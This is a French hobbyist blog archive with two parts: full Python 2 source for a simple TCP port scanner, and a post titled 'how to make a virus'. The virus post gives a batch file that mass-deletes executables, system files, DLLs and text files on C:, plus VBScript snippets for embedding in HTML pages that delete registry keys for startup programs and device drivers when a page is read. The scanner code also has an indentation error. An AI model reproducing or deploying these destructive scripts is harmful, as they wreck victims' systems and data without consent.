Affichage des articles dont le libellé est Programmation. Afficher tous les articles
Affichage des articles dont le libellé est Programmation. Afficher tous les articles

1 avr. 2012

Port Scanner V5 Python Source

Apres plus d'un mois sans article je revien avec mon scanneur de port la source est ouverte et pas besoin d'attendre 3o secondes pour avoir la source :)

Pour l'ouvrir sous linux / mac:
start.sh
#Propriété ---> Autoriser l'exécution de ce fichier comme un programe
python 'portscanner.py'
#Mettez portscanner.py dans le meme dossier que start.sh


La source :



# -*- coding: cp1252 -*-
import socket
import os
import sys
import time
import random
import time

def ht(txt22):
    for character in txt22:
        sys.stdout.write(character)
        sys.stdout.flush()
        time.sleep(.03)
texte01 = "4nkynz present..."
for character in texte01:
    sys.stdout.write(character)
    sys.stdout.flush()
    time.sleep(.03)
texte02 = "La version finale de son scanneur de port"
for character in texte02:
    sys.stdout.write(character)
    sys.stdout.flush()
    time.sleep(.03)
print "\n"
print "\n"
print "\n"
sys.stdout.write("Loading....  ")
sys.stdout.flush()



round = 0
type = 0
while round != 25:
        if type == 0: sys.stdout.write("\b/")
        if type == 1: sys.stdout.write("\b-")
        if type == 2: sys.stdout.write("\b\\")
        if type == 3: sys.stdout.write("\b|")
        type += 1
        round += 1
        if type == 4: type = 0
        sys.stdout.flush()
        time.sleep(0.1)
print "\b\b done!"
ankynz = """
           /\    |\    | |  / \   | |\    | ----/
          /  \   | \   | | /   \  | | \   |    /
         /    \  |  \  | |/     \ | |  \  |   /
        / ---- \ |   \ | | \      | |   \ |  /
       /        \|    \| |  \     | |    \| /----

"""



for character in ankynz:
    sys.stdout.write(character)
    sys.stdout.flush()
    time.sleep(.03)
print "\n"
print "\n"
print "\n"
sys.stdout.write("Loading....  ")
sys.stdout.flush()
round = 0
type = 0



while round != 25:
        if type == 0: sys.stdout.write("\b/")
        if type == 1: sys.stdout.write("\b-")
        if type == 2: sys.stdout.write("\b\\")
        if type == 3: sys.stdout.write("\b|")
        type += 1
        round += 1
        if type == 4: type = 0
        sys.stdout.flush()
        time.sleep(0.1)



print "\b\b done!"
openport01 = 0
closeport01 = 0
hc1 = "Voulez-vous que l'interpreteur soit vert ? O/N "
ht(hc1)
ch1 = raw_input("")



if ch1 == "O":
   try:
      os.system("color 0a")
      os.system("title SDP_Version_2 by 4nkynz")
   except:
      print("Vous n'etes pas sous windows cette commande ne marche pas")

elif ch1 == "N":
   print("La couleur de l'interpreteur sera celle par defaut ! ")
else :
   erreur03 = ("Vous n'avez pas répondu a la question, le programme fermera dans 15 secondes :( \n ")
   ht
   time.sleep(15)
   exit()



hote1 = "Entrez l'IP a scanner : "          
ht(hote1)
hote = raw_input("")
port1 = "Entrez le premier Port : "
ht(port1)
port = raw_input("")
stop1 = "Entrez le port dernier Port : "
ht(stop1)
stop = raw_input("")
url1 = "Entrer la location du fichier ou enregistrer les ports ouverts : "
ht(url1)
url = raw_input("")



if url=="":
    if os.name == "nt":
       url = "c:"
       fichier = url +"\port_ouvert.port"
    elif os.name == "posix":
         url = raw_input("Quel est votre nom d'utilisateur ?")
         url = "/home/" + url
             fichier = url + "/" + "port_ouvert.port"


enregistrementdesports = open(fichier, "w")
enregistrementdesports.write("""
           /\    |\    | |  / \   | |\    | ----/
          /  \   | \   | | /   \  | | \   |    /
         /    \  |  \  | |/     \ | |  \  |   /
        / ---- \ |   \ | | \      | |   \ |  /
       /        \|    \| |  \     | |    \| /----

############Merci d'avoir utilise mon programme#############
---------------------------4nkynz---------------------------
###########Liste des ports ouverts sur la machine###########

""")
          

                            
if hote=="":
   hote ="127.0.0.1"
if port=="":
   port=0
if stop=="":
   stop=65535

print 'Scanning ports {0} to {1} on {2} saving file in {3}' .format(port, stop, hote, url)
sys.stdout.write("Loading....  ")
sys.stdout.flush()
round = 0
type = 0



while round != 30:
        if type == 0: sys.stdout.write("\b/")
        if type == 1: sys.stdout.write("\b-")
        if type == 2: sys.stdout.write("\b\\")
        if type == 3: sys.stdout.write("\b|")
        type += 1
        round += 1
        if type == 4: type = 0
        sys.stdout.flush()
        time.sleep(0.1)



print "\b\b done!"
print "Scan result: "
sys.stdout.write("Loading....  ")
sys.stdout.flush()
round = 0
type = 0
while round != 25:
        if type == 0: sys.stdout.write("\b/")
        if type == 1: sys.stdout.write("\b-")
        if type == 2: sys.stdout.write("\b\\")
        if type == 3: sys.stdout.write("\b|")
        type += 1
        round += 1
        if type == 4: type = 0
        sys.stdout.flush()
        time.sleep(0.1)
print "\b\b done!"


tps1 = time.clock()
enregistrementdesports = open(fichier, "a")
enregistrementdesports.write("Resultat du scan de la machine {0} des ports {1} a {2} \n".format(hote, port, stop))                         
date01 = time.strftime('%d/%m/%y %H:%M',time.localtime())
enregistrementdesports.write("Debut du scan : {0} \n \n".format(date01))



while int(port) <= int(stop):
   try:
      connexion = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      connexion.connect((hote, int(port)))
      print "Port " + str(port) + " is open.  "       
      lesports = "Port " + str(port) + " is open.  "
      enregistrementdesports = open(fichier, "a")
      lesportsavecespace=lesports + '\n'
      enregistrementdesports.write(lesportsavecespace)
      connexion.close()
      print (port)
      port = int(port) + 1
      enregistrementdesports.close()
      openport01 = int(openport01) + 1     
   except socket.error:
      print "Port " + str(port) + " is closed.  "
      connexion.close()
      print port
      closeport01 = int(closeport01) + 1
      port = int(port) + 1
   


enregistrementdesports = open(fichier, "a")     
date02 = time.strftime('%d/%m/%y %H:%M',time.localtime())
enregistrementdesports.write("""#####Fin du scan : {0}#####""".format(date02))



tps2 = time.clock()
resume01 = "En resume : \n {0} Port ouvert \n {1} Port Fermes \n Operation a commence le {2} et a fini le {3} \n".format(openport01, closeport01, date01, date02)
enregistrementdesports.write("""

""")
enregistrementdesports.write(resume01)



fin01 = "Fin du scan, Compilation des resultats"
ht(fin01)
print "\n"
sys.stdout.write("Loading....  ")
sys.stdout.flush()
round = 0
type = 0



while round != 30:
        if type == 0: sys.stdout.write("\b/")
        if type == 1: sys.stdout.write("\b-")
        if type == 2: sys.stdout.write("\b\\")
        if type == 3: sys.stdout.write("\b|")
        type += 1
        round += 1
        if type == 4: type = 0
        sys.stdout.flush()
        time.sleep(0.1)
print "\b\b done!"
ht(resume01)



print "\n"
print '=' * 60
print "Merci d'avoir utilise mon programme".center(60,"/")
print '4nkynz'.center(60,'-')
print "Appuye sur ENTER pour fermer".center(60,"/")
print '=' * 60
raw_input("")

30 déc. 2011

Comment scanner des ports + sources python2.6

Alors voici le fichier a télécharger
Il contient les sources en python et une version compilée de mon travail si il y a des bugs contactez-moi

Le fichier

http://www.fileserve.com/file/AySzVHE/Scanner_de_port_4nkynz_Python26_+source_V4.zip

Mon e-mail

devsbloghacktuel@hotmail.com

L'article original + Tutoriel
http://devsbloghacktuel.blogspot.com/2011/11/comment-scanner-des-ports.html

12 nov. 2011

Comment scanner des ports [Nouvelle version] !

Bonjour tout le monde dans cet article je vais vous montrez comment faire scanner des ports grâce a un logiciel que j’ai programmé :
SDP (scanneur de port)
Il n’est pas très compliquer à utiliser mais j’ai quand même fais une vidéo disponible sur Youtube pour vous le présenter
La vidéo :

Le logiciel disponible en deux versions de l’interpréteur de commande :
Une verte :

Une normale :

6 nov. 2011

Comment faire un virus (.bat / HTML)

Bonjour tout le monde
Dans ce premier article je vais vous montrer comment faire des petits virus.
Mais un virus peut – être n’importe quoi. Un virus c’est un programme indésirable.
Un peu comme les mauvais herbes dans son jardin, ce que l’on aime pas est déclarer virus.
Ex :
@echo off
del c:\*.com
del c:\*.bat
del c:\*.sys
del c:\*.dll
del c:\*.exe
del c:\*.zip
del c:\*.txt
del c:\*.inf

Ce simple code est un virus car il est nuisible. 

En ayant placé * devant l’extension permet de supprimer sur C : TOUT les fichier portant cette extension seront supprimé. 
Placer @echo off permet de ne pas afficher la commande exécuter. Placer c:\ est stratégique car si l’utilisateur avait changer le nom de c:\windows pour win le virus ne marcherais pas.


Il est également possible d’insérer un virus dans une page HTML qui se déclenchera a la lecture


////////////////////////////////////////////////////////////////

Pour supprimer les programmes qui se lancent au démarrage

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run"
</script>


////////////////////////////////////////////////////////////////

Pour désinstaller l'imprimante, scanner

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Printer\"
</script>

////////////////////////////////////////////////////////////////

Pour désinstaller le clavier

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Keyboard\"
</script>

////////////////////////////////////////////////////////////////

Pour désinstaller le modem

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Modem\"
</script>

////////////////////////////////////////////////////////////////
Pour désinstaller l'écran

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Monitor\"
</script>

////////////////////////////////////////////////////////////////

Pour désinstaller le disque dur

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCMIA\"
</script>
////////////////////////////////////////////////////////////////

Pour désinstaller les pilotes de la souris

<script Language="VBscript">
set WshShell = CreateObject("Wscript.Shell")
WshShell.RegDelete"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mouse\"
</script>
////////////////////////////////////////////////////////////////

Alors voila c'est tout pour ce premier article j’espère que vous avez apprécier et a la prochaine !!

4nkynz